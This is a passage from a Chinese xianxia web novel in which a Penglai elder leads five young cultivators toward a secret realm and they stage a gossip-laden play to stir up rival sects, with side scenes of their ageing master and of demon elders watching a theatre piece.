十几岁她离开蓬莱前往幻海天的时候,也曾心怀期待,意气风发,以为今后就该是扬名立万——开启一个叫邹剑仙的时代。 现在千年岁月须臾尔。 她再一次踩在镇魂兽的背上,听着神兽鼻音作冲锋号角,却已经从欢呼雀跃的人变成了沉稳的带队长老。 而身侧的五个人,哪怕是冷静的青度,见过风浪的姜印容,面上都有一瞬不显的雀跃。 这样的雀跃,叫年轻。 邹娥皇想。 她已算不得年轻,但是幸运的是,她身边总有人正年轻。 ——这些人是如此风华正茂,要在这修真界开启一个新的时代。 第59章 他给自己取名无心,就是怕了这样的生离 “幻海天秘境的入口在这里, 而我们目前的位置是在这里。” 邹娥皇指着地图上的小点。 这份地图是鬼谷售卖的,只需要几颗一品灵石,算得上是修士出门必备的便器, 显示着六人位置的小绿点一闪一闪的,而终点位置的幻海天这是一个小红点。 “七彩阁从这里出发,昆仑则是这里,他们两宗一定会撞上, 鬼谷墨庄多半要走土路我们目前有两种选择,一种是直接飞去,优点是路程短, 缺点是遇见的人多。” 越蓬盛问:“另一种不会是要绕远路吧?” 邹娥皇点头, 她的手指在地图上划了一个大圆圈。 “另一种,我们要先经过冀州、青州接着才能到秘境入口。” “师伯是怎么想的,”青度道, “我们要走哪一种?” 邹娥皇哎了一声。 “我想问问你们的意见。” 当年幻海天秘境的名额还没有像今日一样分配, 各大门派几乎都是刚刚建立,也不存在什么带队长老, 甚至弟子都很零星。 那年只有她和师兄两个人。 这两个人里, 真年轻的那个心浮气躁动不动就要说“拔剑”,而装的恭谨守礼的那个不过也就是装的,皮下还是那一等一的轻狂的魂儿。 所以可想而知,俩人最后选的那条路了。 一定是最近、最直、撞上的人最多的。 杀机四伏的路。 邹娥皇还记得当时夜里晚风吹过她的侧靥,她躺在镇魂兽的软毛上, 仰头数星星的时候,就听见四周传来了几阵喊杀声, 她当即就跳了起来,反手抽出背后的重剑。 可最后还是拔剑四顾心茫然。 拔出剑的邹娥皇, 谨慎地迈出两步后,却不见黑压压的刺客,也不见别的门派的人,好像刚刚震耳欲聋的杀声只是她的错觉。 她往前看,只能看见那个光风霁月的师兄坐在神兽头顶上,正有一下没一下地摸着镇魂兽白亮的皮毛。 满月的光渡在少年真君的半个身上,容有衡露出了半个略显寂寞的侧脸,然后朝茫然的邹娥皇解释道:“他们太弱了。” 所以不过只是一个呼吸,他就秒了这群人。 邹娥皇:“…” 她想,进秘境后一定要绕开师兄走。 不止是没什么参与体验感,主要是太欠扁了这丫的。 所以在后来的幻海天秘境里,邹娥皇才会和天机子搭队,两个半斤对八两的组合,最后却靠着出人意料,在那年群英荟萃里杀出了一阵血路。 只是,成也幻海天,败也幻海天。 一个在幻海天里藏了执念的种子,妄图触碰到空间法则的力量,最后天人五衰,从赵郎变成了老赵。 另一个,被人捧到了最高的地方,然后跌的粉身碎骨,把骄傲的心碾落成泥。 而现在么,邹娥皇撑着下巴看着眼前的五个人。 他们有的人已经从高处跌落,有的人改名换姓,有的人还不知天高地厚,有的人心怀信仰 这次一行,命运会再一次用世事无常,来戏弄这几颗少年真心吗? 邹娥皇不知道。 又或者这次好运终于落到了他们头上。 “走人少的一条路。” 青度的手指在地图上绕了一个圈,“没必要提前和他们碰上,养精蓄锐,这次进秘境就不是为了拿名次,在座的几位,我想恐怕也没有需要扬名的,反倒是——” 越蓬盛奇道:“你怎么知道小爷要走低调的这条路。” 青度没理他,只盯着姜印容三个人,意有所指:“身上或多或少都有些麻烦的事,不愿意被别人认出。” 这是知道自己的事? 姜印容挑眉,淡眼闪过一丝笑,“不,我的看法和青姑娘不一样。” 这是姜印容踏上旅途后说的第一句话。 邹娥皇此刻终于将视线落到姜印容身上,然后禁不住笑了;时光和名字带走了姜英的英雄事迹,然而身上的股睥睨天下的傲劲儿却还没有被打磨。 失去了一双腿算什么。 姜印容还是当年那个赤手空拳,掀起连绵十年起义的头头姜英。 要说昔年,世人最大的误解,除了谢霖是个杀人如麻的邪修,容有衡被妖王一巴掌拍死了,那么就只剩了一条—— 他们都以为姜英这个人必定是十分的蛇蝎心肠,狡诈诡谲,还带了点卧薪尝胆的谋算。 但实际上么,邹娥皇认识的姜英,蛇蝎心肠先不论,杀该杀之人的时候确实没有手软过,但是面对着其余人的时候,又是十分仁善,身上有些侠义的。 狡诈诡谲么,这个词世家用的时候定是受了点个人感情影响,邹娥皇更倾向于这个词是对于姜英智谋的赞叹,一夜之间将北海平家换权,可不是谁都能做到的,上一个打逆风局的,邹娥皇印象里的还是何言知。 而卧薪尝胆的谋算这个其实是最离谱的。 前两个或许还沾了点边,但至于最后一个么需知那年,姜英还很年轻。 年轻到,这场本以为是蓄谋已久的起义只剩了一个临时起意的可能。 不服就干,不爽就上。 胜了就是流芳百世、盛世称大王;败了就是困雪山、生死不知。 而无论输还是赢。 姜英从不知,怕一字要如何去写。 她只知,以弱胜强,以小博大,这世上道路千万条,总有一条路能走到终点。 另一厢,察觉到邹娥皇的视线,姜印容忽然觉得喉咙发苦。 不 有一事,邹娥皇不知,但姜英还是怕的。 在姜印容还叫姜英的时候,自得于是天地间的鹰,自由翱翔,无牵无挂;而当她成为姜印容后,少了很多东西,也拥有了很多东西。 身侧是生死相随的两名手下,眼前是眼前是什么人呢? 姜英不知,姜印容也不该知。 眼前的这个人在她叫姜英的时候,最意气风发的时候,那个时候权利、声名、修为俱在的时候,不曾得遇。 而雪山上,她最落魄的时候。 修为尽废,灵脉尽断,引以为傲的体术失了那条腿,那条她拿天材地宝堆成的腿,还是个半盲地瞎子,吊着半口气等死的时候—— 等来了这个姑娘。 叫她悟兰因,悔絮果。 视线回笼。 “每个人的精力和体力都是有上限的,与其把体力浪费在绕远路上面,不如趁着大家修养还算好的时候,扬名立威。” 姜印容手指在三条路交接的地方顿了顿,“这个路口是必经路,可见争锋是避免不了的,既然绕近路也要来,绕远路也要去,那么麻烦从来不会少,不是你避就能避开的。” “我们走直线。” 镇魂兽体型本就不易躲藏,要盯着蓬莱的人找到蓬莱其实轻而易举,而不想惹上蓬莱的人,看见镇魂兽自会避而远之。 两条路线,其实区别不大。 青度之前的顾虑不过就是怕有人借“姜英”这个名字代表的意义发挥,但是姜印容从用冰做支撑的那一刻,前尘往事,“姜英”种种,都不重要了。 那怕什么。 抵死不认呗,天下生得像的人那么多,姜印容不过是正好又少两条腿。 “…” 众人此刻都将视线再度放到邹娥皇身上。 作为这次的带队长老,她显得太过和安静了,安静到有几个瞬间,众人都几乎忘了她的存在了。 被众人注视着,邹娥皇啊了一声。 这是等她决策呢? …… “道祖。” 李千斛抬脚走进门槛,抬头静静地看着云无心。 修真界总说蓬莱道祖像天,立在那里从不会倒塌。 但是近几年,李千斛能明显地感受到,师父老了。 生老病死,本该是人之常情。 只是没有人想到过,当衰老发生在云无心身上的时候,会显得那么快,快到有一些的猝不及防。 或许当一朵云触碰红尘,选择修炼人身的一开始,也就注定了某一天的死亡。 寂静无声的屋子里,李千斛只听见云无心轻轻地笑了。 这笑声宽和,失了所有扎手的棱角,又有点寂寞,李千斛的第一反应是,这是一个老人的笑声。 “今日有什么事宜?” 李千斛垂首答道:“二师姐走了,大师兄容有衡也下岛了,四师弟在今早在论道台四周,揪出了两个妖界的探子,除此之外还是老动静,太阳的角度依旧比前一日往下挪了半个位置,照这个规律,离末世只剩了二十年。” 云无心点头,“好,你出去吧。” 在李千斛即将推开门的半个刹那,她忽然听到了云无心咳嗽了几声,“站住。” 他又叫住她。 “四徒儿,你是不是在怨我。” 这句话其实已经有些示软了,平时云无心从不会和他们强调什么师父徒弟的概念,就连几人称呼云无心,和岛上其他人也并无什么区别,仍只是道祖道祖地喊着。 李千斛停住脚,转过身后是无可挑剔的微笑,“师父怎么会这么想。” 她没说怨也没说不怨。 多半是怨的——云无心想,若不是你这几日给老头子送的膳食要么苦的,要么咸的,他也不会多此一问。 “把你在谢家练出来的微笑收好,”云无心叹了口气,“你是在怨我把谢霖收归蓬莱么?那孩子本性不坏,逢遭大难后虽是走了歪路,却也可救,最难得的是那颗蒙了尘的玲珑心,我觉得惋惜” 李千斛打断:“师父行事,不必和徒弟解释,谢霖是个好孩子,除了疯了点。” 哦,不是为了这个。 云无心道:“那你莫非是在生气我没拦住你师姐走了这条救世的苦路。” 语落半响,云无心没听到李千斛的回复,只看见对方脸上的笑容变得愈来愈生硬了。 云无心还是不够了解人。 李千斛从没有怨过他,或者说李千斛怨的根本不是他。 她要怨的那人神经大条,早就坐在神兽的背上一走了之,而她怨那人怨那人太过良善,于是叫她总这样担惊受怕。 只听李千斛终于开口了:“师姐决定的事情,师姐要做的事情,无论多难,无论谁来拦她,她都会去。徒儿并没有生师父的气,徒儿也无气可生。” 李千斛道:“近几日膳食苦涩的问题并非徒儿有意为之。” 云无心叹气,他现在明白了,“你是在为你二师姐担忧啊。” “救世一事,即是她的选择,也是她的宿命,你二师姐身上有大古怪,我收她那日时便觉得她非本世之人,如今又应了末世而出,旁人替她担忧也没什么用,要相信吉人自有天相,别的不过是庸人自扰” 李千斛又打断道:“师父,不必开导我。” “我不会去拦师姐的,我支持她的一切路,只要这是她的选择,千难万险,便由她去闯。” “我只是要下山去看看,一百年了,道祖,我该去看看新的世界了。” 李千斛说这句话的时候,身上早已结疤的烧痕还隐约有刺痛感,她垂下眼眸,盯着自己那幻化出的手臂。 她那日劝了青度。 但更像在劝自己。 蓬莱岛上的每个人都有自己不能下岛的理由,可每个人的理由,又都那么容易推翻。 李千斛想,她也该出去看看了。 十四州风光,不止一个谢城。 木门开合。 蓬莱道祖看着李千斛离去的背影,微微一怔。 他在这屋子里,见过无数个人离去的背影。 先是容有衡的。 二十年前妖族入侵那次,这小子死犟,在他门前跪了半宿,然后自请下山了。 第三日的时候蓬莱岛下了难得的一场大雪,然后在对棋的时候,云无心就听飞鸟传来的悼信说: 容有衡,没了。 当时云无心那颗白棋梗在那里,死活下不去了。 从此之后,云无心再没碰过棋。 现在容有衡这不孝徒弟又回来了,云无心心理阴影渐渐消失,才开始恢复这项爱好。 再是邹娥皇的。 这姑娘脾气比她大师兄还要好点,但是头却没容有衡的硬,次次都要跌个半死,才好像能学会听话一样。 那日云无心看着她离开的背影,还以为这货终于学精了,知道把救世的事推给别人算完。 结果没想到,不过就是半壶茶的功夫,对方就去找宴霜寒练剑了。 然后回来就告诉他说,自己要去当救世之剑。 云无心这才明白,二货还是那个二货。 搞得他口里的茶水是咽也不是,吐也不是。 然后,挨着顺序,也该到了李千斛了。 这个他曾经以为最懂事的徒弟,现在才发现脾气大的很。 她离去的方向,如果云无心没看错的话,也是下岛的路。 细细算来,这三个人,一个戒掉了他的棋瘾,一个戒掉了他的茶瘾,一个戒掉了他的馋瘾 不对,还漏了一个。 “噔噔噔” 真是想什么来什么。 门口处,鱼澹叩门,“道祖,道祖,我爹说他想我了——” 却只听见一声冷笑。 云无心:“滚。” 滚球,别让他看见这傻货背影…… 有的妖食心就是* 为了得到一颗心,而有的妖,给自己取名为无心,就是怕了人间这样浓烈的感情,它希望自己永远都是一朵干净的白云,不必面对世间污垢。 但是后来,它变成了他。 他来人间一场,有了大大小小的羁绊,从此无心者生心。 然而这一颗心,还没尝尽人间欢喜,就先懂了人间的生离死别。 第60章 珠州变成了猪州 “都看我啊?” 邹娥皇笑了, 眼睛微微眯起,在这群年轻人身上学到了点年轻劲儿。 邹娥皇:“那咱们——” 她两指并起,做剑指的形状, 从绿点的地方划了一道直线,直捣红点。 “就和他们比比谁快!” 越蓬盛乐了,“怎么比?” 不止是他,青度几人的眼睛也朝着邹娥皇望了过来, 只是比起越蓬盛来说,这些人略显含蓄,抽剑的抽剑, 玩冰的玩冰, 动耳朵的动耳朵,眨眼睛的眨眼睛总之,都有些说不上的躁动。 就连镇魂兽似乎都若有所感, 仰天就是一声长啸。 “姜印容刚刚的话你们都听着了, 不错,长线不如短线, 但我觉得么, 短线也不一定就要和他们打起来。” “天下武功,唯快不破。” “我们飞得快点,先到幻海天入口的小镇,其余人哪怕出发比我们早,最多也不过就是一两天, 毕竟这次幻海天行程算得上是突然安排的,半把来月, 他们光准备和统筹就需要时间,大部分人估计出发的比我们还晚。” 青度点头, 她今年接手过一部分门派事宜。 知道一个宗门的消息上传下递,中间浪费的时间绝对不在少数,可能还有些见不得人的利益交换,一来二去,蓬莱相对简单的模式反而可能还要快一些。 青度:“但是昆仑、七彩阁他们肯定出发的比我们快。” 这两个宗门关于幻海天的种子选手都是一早培养好的,和什么时候出发没什么关系。 “别慌。” 邹娥皇负手含笑。 这个时候她终于找到了一点当长老的感觉,不,准确来说,小风一吹她的脑瓜,邹娥皇忽然意识到在这个队伍里,她其实根本不是脑子担当。 真正玩脑的那个还在挑眉,若无其事地看着她呢。 素面英眉,运筹帷幄于千里之外。 世人说,这天下只有两位谋士,一个是圣人塑身的何言知,另一个便是眼前这位尚且还算年轻的姜姑娘。 前者是鬼将,后者是阳谋。 姜印容若是要用计,那一定要你心甘情愿跳进去才肯罢休。 邹娥皇想,既然姜将在这里,那她何须用脑,又何须动计。 然而四目相对,邹娥皇先看见了一点零星笑意藏在姜印容眼眸中,但是很快,这样零星的笑意又消散在淡漠的眸子里。 快得像错觉。 忘了,姜印容还恨着她呢。 邹娥皇于是也很快地移开了视线,她看着那双眸子就会想起当初。 当初 雪洞,狂风,铺天盖地的雪花被卷起,微弱的篝火旁,她记得对方的脸,紫红紫红的,只剩下了鼻息还有热气。 强硬了惯了的人,握着她的手,瑟瑟发抖,低低哀声道:“姑娘,好大的风。” 然而世事无常,这个本该怕冷的人,最后却学会了御冰术。 还是说,这就是强者做派? 征服世界,征服弱点。 邹娥皇叹了口气。 一切都是过往,她告诉自己,不能和对方梗着这口气。 总不能僵一路吧。 下一瞬邹娥皇却听见那人竟然接了她的话茬—— 姜印容:“确实不用慌。” 姜印容没看邹娥皇。 她拿冰幻化出两枚棋子落在了必经的那个路口上,“快和慢都是相对的,若我们没法保证速度,那不妨让他们慢下来。” 越蓬盛惊了:“无缘无故的,他们怎么可能慢下来?” 青度这个时候一听就懂了:“所有门派世家散修,即将进入幻海天的所有势力,从某种意义上都是竞争对手也就是说,我们在考虑的事情,他们也在考虑,区别就是,有的门派想的是浑水摸鱼,有的门派想的是主动出击,而有的,是暗度陈仓。” 姜印容点了点头,她手上的两枚冰幻化的棋子在地图上一碰又变成了霜花,接着碾碎在半空里。 “七彩阁和昆仑必是主动出击的,鬼谷墨庄是暗度陈仓,剩下的小门派大多想浑水摸鱼未必不愿意凑这么一门热闹,既然大家都要在这个路口相会,那么不妨,先来段戏曲,混淆视听。” “幻海天秘境说到底也只是一个秘境,我们犯不着和他们争生争死的,但是信息的一手性比什么都重要,所以最快抵达秘境入口,就是抢占了秘境里机缘的先机,而前面拦住他们,终究只是小打小闹,过火了也不好。” 越蓬盛这个时候有些听出来了,但他还是没听懂,“怎么拿段戏曲拦住他们?” 姜印容:“很简单。” “他们想要什么,他们恐惧什么,他们猜忌什么,人心千百种,都在一戏之间。” 姜印容说这句话的时候声音出奇地冷。 她平常说话的时候虽然淡,但是低而磁,可当她说刚刚那句话的时候,众人只觉得空气似乎都要冷得掉渣了。 邹娥皇看着她,而姜印容这个时候也恰好抬头。 两个姑娘的目光在半空中交织。 有些事情,只有亲眼见过的人才懂。 十年前,姜军北海溃败于一夕,冰墙高筑封不尽人海。 起先还有人在等他们的战神回来。 直到后来全城都在上演一出折子戏,名字叫“祭旗”。 邹娥皇记得,她推着对方回过北海,却只见满城的敲锣打鼓。 问了人才知道,原来是在敲锣打鼓姜英“死了”。 一心想回去的姜英,那么骄傲的姜英,没有败给敌人,却败给了她的百姓。 只是一出戏,接连唱了七天的戏,分明死不见尸,可他们就都肯信她死了。 又或许,北海平家重新掌权,在这个背景下,不信要付出的代价实在是太大了。 不怪这些人。 … 另一厢,妖界,十三州。 十三州在还属于人族的时候,有个好听的名字叫珠州,但是现在么妖族那边和人族不一样,它们没什么世家的概念,只有族群的概念。 因为珠州的猪妖比较多一点,所以现在珠州改名叫做猪州了。 碍于这个原因,就连妖们也更喜欢直接称呼猪州为十三州,觉得十三州虽然潦草了点,那就潦草点吧,总好比过别的妖问你住在哪里,你说住在猪州,那多没面子呀。 此刻,十三州某处酒楼的包厢里,坐了几位妖族的长老。 一位佘长老,脖子细长如条,捧着青梅酒恨不得把自己泡进去。 它显然喝醉了。 “咱、咱们这位妖王还是太年轻了!” 坐在它身侧的是苟长老,有一条细长的尾巴,毛茸茸地在地上扫来扫去,闻言谨慎道:“佘长老你怎么醉到这种地步了,话都说不清了,咱们妖王这叫年少有为啊!” “屁!” 另一边脾气暴一点的包长老呲出两对尖牙,“你们都没看见么,妖王它最近疯了——唯一个人族马首是瞻!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-70 第61章 入戏(上) “嗬。若不是前代妖王子嗣稀薄, 这样的事情怎么会论到这崽子身上,懦弱无为便罢了,信神吾等也只当不知道, 可是妖和人族生死仇敌,非我族类,其心必异,这可是他们人族教我们的道理, 怎么现在这代少王就是不明白!” “少王糊涂啊,竟还要听这人的话,派兵力去攻打那个什么幻海天还是什么天的秘境!” 佘长老尾巴尖尖都化出来了, 在长裤里晃来晃去, 最后嘭地一变,碧绿色的蛇鳞缩进了青梅酒里。 这老蛇醉得有些熏熏了。 在这种鱼龙混杂的场合乱说话。 苟宁叹了口气,认命地挽了挽袖子, 就要把这老蛇从陈酒里摘出来, 却见脾气最暴的老包并没有出声附和,而是推开包厢的小窗, 往下探头。 妖族的酒楼文化是近二十年在人族的基础上发展出来的, 但是和人族酒楼里多半都是说书人不同,妖不爱听书,只爱看戏。 今日一楼台子上,唱的就是一出十年前的老戏。 此戏名为,“祭旗”, 是从人族那里传过来的,讲的是一位将军之死。 现在正演到第十三折——含恨终。 只见台上, 有雪妖吹出一口寒气,琉璃灯点在大殿中央上空, 绿莹莹的灵气绕在琉璃灯上空,接着从灯笼口洒下了妖力幻化的雪花,光洁的戏台于是慢慢有了雪地的模样。 一位女子跪伏在台上,在雪风里呜咽。 包长老问:“这演的是谁?” 苟长老听出了这老包语气里的欣赏——豹族人一向喜欢身形魁梧的女妖,连带着看戏也喜欢看这样的。 苟长老说是姜英,“这出戏最重要的那个角儿,说来也唏嘘,十几年前有次和真姜英对上过,在寒州临着北海的边境,我本来以为那仗要打起来了,没想到最后我们竟说和了。” “当时我心惊胆战,但这姑娘嘴皮子不仅厉害,战局玩的也明白,硝烟化作握手言和,”苟宁叹了口气,“若现在北海主事的还是她,那群蚌妖也不至于三天一增援。” “不过这个女角儿不像她。” 姜英那姑娘,浑身上下几两肉都在腿上,其余地方单薄地很。 而演她的这只妖么太魁梧了。 包长老一摆手,“哪里不像?” 它眼里兴致浓浓,叫侍者下去送了个拜贴,“女将军就该这样才对!” 左面台上冲上来了十几个人,演的是北海平家、冀州陈家那些个世家的高手,手上各个举了一面威风凛凛的家旗。 为首的那个朝跪在地上的女子呵斥道:“姜英,此刻已值末路,常言道英雄总有尽日,你以微末之身,拼到此刻也算是难得,吾等敬你,只要你一双腿炼旗,平北海之变!” 台上的“姜英”大笑三声,台下一阵叫好。 熟悉这折子的都知道,高潮要来了。 “微末之身?” 只见台上杀声四起,女子从地上撑起身,冷笑连连,“大周亡后,可曾还有公候将相,既然没有,你们世家的卖身契是登在哪个王法上,让我看看——” 嗓子拔高,戏腔婉转,又是一句诘问。 “北海之变?” 女音声声泣血:“伏尸千里尔等谁多看过一眼,此变非变,乃无可奈何之路,我姜英立世,无愧于己,无愧于心,今日只要我不死,尔等休想炼此旗!” 这女角演的实在是太好了,台词说到这里,场下已经一片飘泪,侍者手里的拜贴还没递出去,自己水龙头一样的泪水就已经刹不住了,沾湿了纸墨,吓得它赶紧拿袖子擦来擦去。 只见戏台幕后,激昂的鼓声越敲越响,“姜英”被世家众人逼到尽头,血战到最后一刻,慨然赴死。 “好!” 包长老已然忘了刚刚还在和佘长老唾骂当今妖王的事,捏着栏杆的手已经变成了爪子,激动之情溢于言表,“人族原来也有这样的忠烈之士。” 而酒楼外寂静无声,青衫书生撩开帘席。 和这满楼妖气比起来,他身上人味太重了,重到几乎是踱步走进去的一瞬间,二楼包厢里苟长老的鼻子就动了动。 “何言知!” 它低声道,而身侧的两妖,此刻一个变成了原型泡在酒壶里不出声,另一个捂紧了嘴巴,再不提刚刚的痛声唾骂。 是的,让这三个长老在包厢里长吁短叹,让妖王久俊言听计从的不是别人,正是从密州起销声匿迹的何言知。 此人踏步走进的那一刻,方才满楼喧嚣已不见,如今只剩下了台上戏子的几声落幕哭腔。 而台下所有妖都无暇观戏,只是将眼珠子凝到门口处。 “先生,这就是您一直想听的那出祭旗,只是演完了,小妖这就让它们再演一遍。” 跟在何言知身侧的是几位穿着麟甲的妖军统领,素日只为久俊一族服务,如今跟在这人族身侧众人具是想,可见传言里妖王对一人族言听计从绝非夸大。 “有劳了。” 何言知从容地落座。 他肩宽骨架大,因此撑起了这一身绿衫,但是落座的时候,这人的背影又太单薄,像是能被风吹起的纸片。 何言知不喜欢听戏,但是他觉得这一出戏很有意思。 其一么,和他要查的事情有关。 其二么,妖界不同于人界。 人界若说还讲究什么王侯将相宁有种乎,妖界便是天生的三六九等,血脉压制凌驾于修为之上,在这样的地方,端茶送水的从来不见那些有名有姓的大妖,多半都只是血脉不纯的半妖。 而如今,酒楼里引进的戏折却是“祭旗”,讲一个女婢推翻世家的故事,方才他进来的时候,略微一扫,就已经见到不少悄然落泪的小妖。 掌过兵的人都知道,思想,有的时候才是最难掌控的变数。 否则这世上不会有那么多的武力镇军者。 因为要靠恐惧,维持军权的稳定但是,若这恐惧被渐渐消磨,何言知平静地看着四周被这台戏感动到不断抽噎的小妖们—— 他想,离暴动也不会远了。 … 另一厢,冀州边城。 在敲定好计划后,邹娥皇一行人已经进了城,准备传播他们昨夜加急编出来的戏本,来混淆视听。 进城时,坐在轮椅上的姜印容却突然打了个喷嚏。 一行人纷纷停下,邹娥皇蹙眉问:“昨夜在镇魂兽背上睡觉,着风寒了这是?” 镇魂兽为了方便进城时已经缩成一只小狗大小,被邹娥皇抱在怀里,此刻它闻声,很不情愿地拱了拱屁股,大尾巴一扫邹娥皇的脸,意思是别什么锅都找本神兽。 走在队中的青度心说,修士哪里有这么容易着风寒的,更别提是玩冰的姜印容—— 下一瞬,众人只听见姜印容慢慢吞吞、平平静静地咳了几声,揉着脑袋道:“是有些但还好。” “我试试温度,”邹娥皇脚步快了几分,一只手放在姜印容额上,一只手放在自己额上认真地试着。 “唔好像没什么,不,有些烫——” 邹娥皇一脸严肃,她手刚刚放上去的时候,姜印容的前额还是冷的,但不过三息,对方的额就变得滚烫无比。 越蓬盛在旁边抱臂看着,冷不丁道:“我记得筑基之后,得天雷锻体,体魄与凡人不同,大约就不会得风寒这样的病了。” 话音一落,邹娥皇手心试着的温度又变成了微冷。 邹娥皇微微一错愕,低头去看,却见姜印容脸色苍白如常,好似现在忽冷忽热的人根本不是她一般。 姜印容垂眼,英眉不动声色,仿佛刚刚什么插曲都没有一样,拖着轮椅向前。 邹娥皇于是只能收回手,几人继续向城里的戏班子走。 队尾,越蓬盛忽然挨了青度一脚心,“你踹我做什么?” 却只见对方黑瞳幽深,里面似有几分怜悯的微嘲。 “越蓬盛,”青度道,“我以前只当你大智若愚,现在看来竟真是个傻的。” 怎么连看破不说破这个道理都不懂,明明刚刚邹师伯和姜印容之间一直僵着的氛围和缓了,他却忽然要来句筑基无小病。 筑基是没病,但青度看越蓬盛脑子是有病。 … 冀州曾被誉为花州,一年四季,繁花似锦,于是乎,它的边城也是美不胜收,几乎是一步一花圃。但是众人最后选择中途在这个边城落点,并不因为它的美,而是因为这边城叫做戏乐之城。 在这里传播什么戏本,最合适不过了。 邹娥皇翻着手上的戏本。 这出戏是几个人一起写的,主要是为了暗搓搓地给那几个宗门拱火,但是具体落实到剧本上,邹娥皇没想过居然会这么、这么、这么地—— 离谱。 狗血。 好看。 很难想到,是由一路一言不发的谦立延写的。 邹娥皇吸了口气,指着这戏中对一个昆仑剑修始乱弃终的鬼谷女修角色道:“你们要我演的就是这个么?” 早知如此。 她一定会在这群小年轻说当今情爱剧本流通广,不如从情爱下手的时候就及时制止。 第62章 入戏(下) 在修真界, 这个通灵玉大部分只能一对一,飞鹤传信距离又受限的地方,几乎可以说, 只有蓬莱,昆仑,七彩阁,鬼谷, 墨庄这五个仙门能做到家喻户晓。 然而这一次,邹娥皇手上的戏本,明明才六个演员, 却已经将这五个仙门一网打尽了。 故事的开头是这样的, 鬼谷作为炼器大宗,门下有一名弟子叫小皇,小皇性子娴淑, 自幼和墨庄的小容青梅竹马。 这是第一折, 叫做无猜嫌。 但是好景不长,在一次出门历险里, 小容为了救小皇, 失去了双腿,小皇痛不欲生,决定治不好小容的双腿绝不回去。 这是第二折,叫做郎不悔。 为了救好小容的腿,小皇在寻找丹药的路上遇到了一名昆仑剑修叫小寒, 两个人日久生情,可小皇毕竟还记得断了腿的小容, 最后只能在拿到丹药后和小寒分道扬镳。 这是第三折,叫做错生欢。 小寒伤心欲绝, 提着剑杀进了鬼谷,但是却看见了小皇与小容十指相扣,明白了自己在小皇心里只是工具后黯然离场,而治好双腿的小容和小皇也幸福地在一起了。 这是第四折,叫做连理枝。 四折下来,环环相扣,情节跌宕起伏,催人落泪处有,恨不得跳脚骂写折子人狗血淋头的地方,也有。 凭心而论,邹娥皇觉得谦立延确实是在此条路上有些许天赋的 另外值得一提的是,这出爱恨情仇的大戏里,也如愿夹带了不少私货。 比如说,鬼谷和墨庄原来一直都暗度陈仓,七彩阁和昆仑因为近几年秘境排名针锋相对,蓬莱作为老牌修仙门派,其实很喜欢苟。 再比如说,在这出戏里,小仙门的人总是畏首畏脑的,大仙门的人又总是飞扬跋扈的。 总之是一个也没放过。 据姜印容是这么说的:“这出戏只是一个导火线,这场秘境之争的路上,他们一定会打起来,年年如此,区别只是我们把他们打起来的节点从秘境入口变成了三线交汇的主路。” “但是我不懂。”越蓬盛说。 “我不懂这个角色分配。” 他愤愤不平道:“怎么是你和青度两个人演了男主和男二?我们三个大男人一个负责场景布置,一个负责客串龙套,还有一个演反派!” 姜印容微笑:“男二是昆仑剑修要有剑吧,你是巫修,谦立延孙峰贰是体修,既然如此,除了青度还有谁合适?男主是个坐着轮椅的残疾吧,如果不要我反串着演” “难道要把你腿打折了让你来么?” 越蓬盛不说话了。 他总觉得哪里有些奇怪靠啊,小容这个角色怎么想怎么像是为姜印容量身定做的啊! 但是鉴于腿还凉飕飕的,此刻越蓬盛终于明智地选择了闭嘴。 一丈外,谦立延微不可见地后退了一步,作为写剧本的人,他面上有些许的心虚,但好在他皮肤发深,一般人并看不出来。 “我没什么问题。” 邹娥皇犹豫很久,放下手里的戏本。 当她豁出去后再看,这几个角色,不过也就是台词多少的区别罢了。 但 “姜印容,你真的要演么,不必勉强,可以和小谦换一换。” 十年前,邹娥皇陪着对方从雪山里走出的时候,曾见北海满城白旗,敲锣打鼓。 她推着对方的轮椅,曾走过城中每一个茶楼酒巷,最后却并未等来对方口中忠心的下属,只被一出又一出名叫祭旗的折子戏气了个半死。 那日晚上,邹娥皇听对方在篝火旁锤着无知觉的大腿根边哭边笑地骂:“这都是谁写的破烂戏,姜英这个人才不会求死,姜英这个人才不会这么死了——” 彼时,透过飘忽不定的烛火,邹娥皇听见对方长长地抽噎了一声:“可是为什么,他们竟都这样轻信我死了——只是几出戏——怎么能!” 北海的百姓都信姜英死了。 那姜英就算还能喘气,又和死有什么两样。 姜英该是恨死了折子戏。 温暖的晨风吹过侧靥,花香驱散了邹娥皇脑海中关于那片极寒的回忆。 “没有勉强。” 姜印容淡淡回道。 和邹娥皇不同,姜印容忘记了很多很多。 姜印容只记得那天晚上,篝火温暖,满月明亮,那是她心里防线全面崩塌的一天,是“姜英”从心理上死亡的一天,也是“姜印容”这个名字诞生的第一日。 她从没有哭成那样过。 从前没有,以后没有。 只有那次,在邹娥皇面前丢尽了脸面。 但也幸好丢尽了脸面。 姜印容忘记了很多细节,她只记得邹娥皇轻轻地拍着她的背。 然后轻声道:“不是这样的。” “北海人没有抛弃你,也没有轻信你死了,姜英,他们没有,只是你在他们心里的形象远比真实的你还要高大——” “因为你是他们推举出来的领袖。” “你是北海人心里的传奇。” “所以他们才会宁愿相信一出戏里,你慨然赴死,也不愿相信你活着却没有回来。” “姜姑娘,北海人只是太敬仰你了。” 时至今日,姜印容已经能看出邹娥皇当初说的大多数只是泛善可陈的安慰,但是这并不妨碍她从这几句话里走出来。 所以。 邹娥皇不是她的伙伴,也不是她的下属,不是仇人,也不是她的情人。 是姜英情感溢出的缺口。 碍于这出戏里面含沙带影编排的门派太多,这座城里出了名的戏班子都不愿意租台给邹娥皇一行人。 最后几人还是在一处不太显眼的地方租了个台子。 望着围观的廖廖几人,众人面面相觑,不约而同地舒出了一口气。 人少点好啊。 人少点实在是太好了! “此出戏共有四折,欢迎诸位观看,不过话说在前,此戏纯属虚构,与现实无任何关系,还望诸位理性观看。” 道上,有几个原本准备抬脚就走的路人,听了这句话后纷纷顿住了脚步。 有的时候就是这样,群众都是有叛逆心理的。 越强调纯属虚构,他们就会越脑补是不是在映射现实,那就越增加了这出戏的真实度。 不消一个时辰,台上已经演到了第四折,而台下围的人也从原来的零星几个看热闹的,变成了里三层外三层。 戏台上,正演到小寒撞破小皇与小容幸福相会的场景。 只听得一声高吭的女音。 “什么?” 短短一秒内,饰演小皇的邹娥皇脸上就浮现出难堪心虚复杂酸涩苦楚的情绪,她声音发颤,脚步虚浮,后退了三步。 “在你心里我就是这样的人?” 此刻台下观众熙熙攘攘,有刚过来的不知道情况,瞅着他们几个人问:“这是在演什么?新戏么,我怎么什么也看不懂。” “可悲苦了,我跟你说啊,昆仑和鬼谷原来是世仇,他们两家居然根本不能在一起——” “奥奥奥!” 